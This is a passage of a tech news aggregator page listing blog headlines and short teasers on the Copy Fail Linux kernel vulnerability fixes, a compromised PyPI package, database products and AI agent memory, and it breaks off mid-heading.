        <a href="#h3-fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fixes available for CVE-2026-31431 (Copy Fail) Linux Kernel Local Privilege Escalation Vulnerability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A local privilege escalation (LPE) vulnerability affecting the Linux kernel has been publicly disclosed on April 29, 2026. The vulnerability has been assigned CVE ID CVE-2026-31431 and is referred to </p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/copy-fail-vulnerability-fixes-available"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloud-ciso-perspectives-at-next-26-why-were-multicloud-and-multi-ai" class="group relative scroll-mt-24">
        <a href="#h3-cloud-ciso-perspectives-at-next-26-why-were-multicloud-and-multi-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloud CISO Perspectives: At Next ‘26, why we’re multicloud and multi-AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloud-ciso-perspectives-at-next-26-why-were-multicloud-and-multi-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to the second Cloud CISO Perspectives for April 2026. Today, Francis deSouza, COO Google Cloud and President, Security Products, explains why Google is multicloud and multi-AI, straight from N</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-next-26-why-we-re-multicloud-and-multi-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-addressing-copyfail-in-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-addressing-copyfail-in-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Addressing copy.fail in SUSE Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-addressing-copyfail-in-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Copy Fail (tracked as CVE-2026-31431) is a critical vulnerability in the Linux kernel that allows a local non-root user to gain full root access to the system. It is considered extremely dangerous bec</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/addressing-copy-fail-in-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-suse-responds-to-the-copyfail-vulnerability" class="group relative scroll-mt-24">
        <a href="#h3-suse-responds-to-the-copyfail-vulnerability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 SUSE responds to the copy.fail vulnerability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-suse-responds-to-the-copyfail-vulnerability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Copy Fail (tracked as CVE-2026-31431) is a critical vulnerability in the Linux kernel that allows a local non-root user to gain full root access to the system. It is considered extremely dangerous bec</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/suse-responds-to-the-copy-fail-vulnerability/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-lightning-pypi-compromise-a-bun-based-credential-stealer-in-python" class="group relative scroll-mt-24">
        <a href="#h3-lightning-pypi-compromise-a-bun-based-credential-stealer-in-python" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 lightning PyPI Compromise: A Bun-Based Credential Stealer in Python
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-lightning-pypi-compromise-a-bun-based-credential-stealer-in-python"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A malicious release of the lightning PyPI package ships a credential-stealing Bun payload that runs on import. Snyk has a live advisory. Here&#39;s what&#39;s in the package, what to rotate, and how the paylo</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/lightning-pypi-compromise-bun-based-credential-stealer/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-nats-server-214-release" class="group relative scroll-mt-24">
        <a href="#h3-nats-server-214-release" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 NATS Server 2.14 Release
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-nats-server-214-release"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When we released NATS Server 2.12 back in September, we reflected on the need for shorter and more routine release cycles. While we slipped slightly beyond the intended six months due to increased act</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 NATS Blog</strong></p>
<p><a href="https://nats.io/blog/nats-server-2.14-release/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-founders-ai-foundation-the-top-announcements-for-startups-from-next-26" class="group relative scroll-mt-24">
        <a href="#h3-the-founders-ai-foundation-the-top-announcements-for-startups-from-next-26" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The founder’s AI foundation: The top announcements for startups from Next ‘26
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-founders-ai-foundation-the-top-announcements-for-startups-from-next-26"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The momentum is undeniable: the world’s fastest-growing AI startups are building with Google Cloud. Instead of stitching together fragmented point solutions, founders are building their businesses her</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/startups/the-top-startup-announcement-from-next26/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-pgque-v01-zero-bloat-postgres-queue" class="group relative scroll-mt-24">
        <a href="#h3-pgque-v01-zero-bloat-postgres-queue" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PgQue v0.1 - Zero-bloat Postgres queue
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgque-v01-zero-bloat-postgres-queue"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>PgQue v0.1 has been released. PgQue is a zero-bloat Postgres event/message queue implemented in pure SQL and PL/pgSQL. It brings the PgQ architecture, originally developed at Skype, to modern Postgres</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgque-v01-zero-bloat-postgres-queue-3284/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-we-built-mem9-lessons-from-shipping-persistent-memory-for-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-how-we-built-mem9-lessons-from-shipping-persistent-memory-for-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How We Built mem9: Lessons From Shipping Persistent Memory for AI Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-we-built-mem9-lessons-from-shipping-persistent-memory-for-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In early March 2026, a customer asked us for something that sounded simple and turned out to be one of the hardest problems in the agent stack: Make agents remember. We did not start with a polished r</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/how-we-built-mem9-agent-memory-product/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scylladb-vector-search-benchmark-10m-vectors-on-a-compact-cluster" class="group relative scroll-mt-24">
        <a href="#h3-scylladb-vector-search-benchmark-10m-vectors-on-a-compact-cluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ScyllaDB Vector Search Benchmark: 10M Vectors on a Compact Cluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scylladb-vector-search-benchmark-10m-vectors-on-a-compact-cluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Even a small, compact setup achieved up to 12,840 QPS at k=10 with a serial P99 latency of 5.5 ms</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/05/01/vector-search-10m-benchmark/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-when-ai-agent-memory-outgrows-sqlite-how-to-tell-and-what-to-move-to-next" class="group relative scroll-mt-24">
        <a href="#h3-when-ai-agent-memory-outgrows-sqlite-how-to-tell-and-what-to-move-to-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 When AI Agent Memory Outgrows SQLite: How to Tell, and What to Move to Next
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-ai-agent-memory-outgrows-sqlite-how-to-tell-and-what-to-move-to-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Coding agents now run for hours, span multiple tools, and move between machines and sessions. However, the agent memory layer underneath them has not kept up. Most still look the way they did in the f</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/ai-agent-memory-outgrows-sqlite/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-scylladb-x-cloud-your-questions-answered" class="group relative scroll-mt-24">
        <a href="#h3-scylladb-x-cloud-your-questions-answered" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ScyllaDB X Cloud: Your Questions Answered
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scylladb-x-cloud-your-questions-answered"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A technical FAQ on ScyllaDB X Cloud: architecture, autoscaling, compression, use cases, and more It’s been a few months since ScyllaDB X Cloud landed. In case you missed the news, here’s a quick recap</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/30/scylladb-x-cloud-faq/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-active-active-vs-active-passive-database-architecture" class="group relative scroll-mt-24">
        <a href="#h3-active-active-vs-active-passive-database-architecture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Active-Active vs Active-Passive database architecture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-active-active-vs-active-passive-database-architecture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your database is down. Users are hitting errors, revenue is bleeding, and the on-call engineer is staring at a promotion sequence that&#39;s taking too long. The architecture decision you made six months </p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/active-active-vs-active-passive/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-ai-wants-to-nuke-your-database-guardrails-fix-that" class="group relative scroll-mt-24">
        <a href="#h3-your-ai-wants-to-nuke-your-database-guardrails-fix-that" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your AI wants to nuke your database. Guardrails fix that.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-ai-wants-to-nuke-your-database-guardrails-fix-that"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>An AI agent deleted a customer&#39;s production database on Railway. Here&#39;s what happened, what we&#39;ve shipped to fix it, and the surfaces we&#39;re building so agents can move fast on Railway without breaking</p>
<p><strong>📅 Apr 29, 2026</strong> • <strong>📰 Railway Blog</strong></p>
<p><a href="https://blog.railway.com/p/your-ai-wants-to-nuke-your-database"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-6-reasons-scylladb-costs-a-fraction-of-dynamodb" class="group relative scroll-mt-24">
        <a href="#h3-6-reasons-scylladb-costs-a-fraction-of-dynamodb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 6 Reasons ScyllaDB Costs a Fraction of DynamoDB
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-6-reasons-scylladb-costs-a-fraction-of-dynamodb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Why teams typically experience 50% (or greater) cost reductions when moving from DynamoDB to ScyllaDB</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/28/6-reasons-scylladb-costs-a-fraction-of-dynamodb/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-10-reasons-cloud-migrations-fail-and-key-strategies-to-increase-success" class="group relative scroll-mt-24">
        <a href="#h3-10-reasons-cloud-migrations-fail-and-key-strategies-to-increase-success" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 10 Reasons Cloud Migrations Fail and Key Strategies to Increase Success
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-10-reasons-cloud-migrations-fail-and-key-strategies-to-increase-success"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloud migration failures stem largely from misaligned strategies and outdated database architectures. Distributed SQL databases offer a path forward, combining the familiarity of SQL with horizontal s</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/why-cloud-migrations-fail-and-strategies-to-increase-success/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-agents-vs-workflows-when-to-use-each" class="group relative scroll-mt-24">
        <a href="#h3-ai-agents-vs-workflows-when-to-use-each" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI Agents vs Workflows: When to Use Each
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-agents-vs-workflows-when-to-use-each"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Everyone building with LLMs right now is bumping into the same question: should you wire up a predictable, step-by-step workflow, or let an AI agent figure things out on its own? The answer shapes you</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/agents-vs-workflows/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-prefill-vs-decode-llm-inference-phases-explained" class="group relative scroll-mt-24">
        <a href="#h3-prefill-vs-decode-llm-inference-phases-explained" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Prefill vs Decode: LLM Inference Phases Explained
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-prefill-vs-decode-llm-inference-phases-explained"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every LLM request runs in two distinct phases: prefill, where the model reads your prompt in one parallel burst, and decode, where it generates the response one token at a time, each one depending on </p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/prefill-vs-decode/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-long-term-memory-architectures-for-ai-agents" class="group relative scroll-mt-24">
        <a href="#h3-long-term-memory-architectures-for-ai-agents" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Long-Term Memory Architectures for AI Agents
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-long-term-memory-architectures-for-ai-agents"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most AI agents start every session from scratch. Without persistent memory, they&#39;re stateless responders that reprocess context on every invocation and can&#39;t build continuity across interactions. Long</p>
<p><strong>📅 Apr 28, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/long-term-memory-architectures-ai-agents/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
